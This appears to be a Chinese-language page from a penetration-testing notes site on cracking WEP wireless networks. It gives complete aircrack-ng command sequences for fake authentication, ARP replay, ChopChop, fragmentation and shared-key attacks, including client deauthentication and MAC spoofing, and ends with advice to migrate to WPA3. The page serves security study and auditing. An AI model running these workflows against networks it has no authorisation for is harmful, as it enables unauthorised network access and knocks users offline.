> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-wifi/wep-networks/common-wep-attacks.md).

# 常见 WEP 攻击

传统无线网络的常见 WEP 攻击模式和迁移指导。

WEP 是一种存在根本性密码学弱点的旧式无线协议。

没有任何 WEP 配置能提供现代无线安全。请尽可能将 WEP 替换为 WPA3。

### 常见攻击模式

WEP 攻击通常会收集或生成初始化向量（IV）。

以下工作流程涵盖伪认证、ARP 重放、ChopChop、分片和 SKA 技术。

### 所需信息

在选择工作流程之前，记录这些值：

* `BSSID`：接入点的 MAC 地址。
* `ESSID`：无线网络名称。
* `信道`：接入点的信道。

### 伪认证

伪认证会在注入数据包之前建立关联。

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -a <BSSID> -h <LOCAL_MAC> -e <ESSID> wlan0mon
jordan@parrot:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ARP 重放

ARP 重放会生成重复的加密流量，并增加 IV 计数。

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -3 -x 1000 -n 1000 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ChopChop

ChopChop 会从捕获的 WEP 数据帧中恢复密钥流信息。

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -4 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### 分片

分片会从分片后的加密数据包中导出密钥流数据。

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -5 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### 共享密钥认证（SKA）

共享密钥认证会暴露可用于恢复 WEP 密钥的材料。

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon down
jordan@parrot:~# macchanger --mac <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon up
jordan@parrot:~# aireplay-ng -3 -b <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aireplay-ng --deauth 1 -a <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### 修复建议

从每个接入点配置中移除 WEP。

在支持的情况下使用 WPA3-Personal。仅当无法使用 WPA3 时才使用 WPA2-AES。


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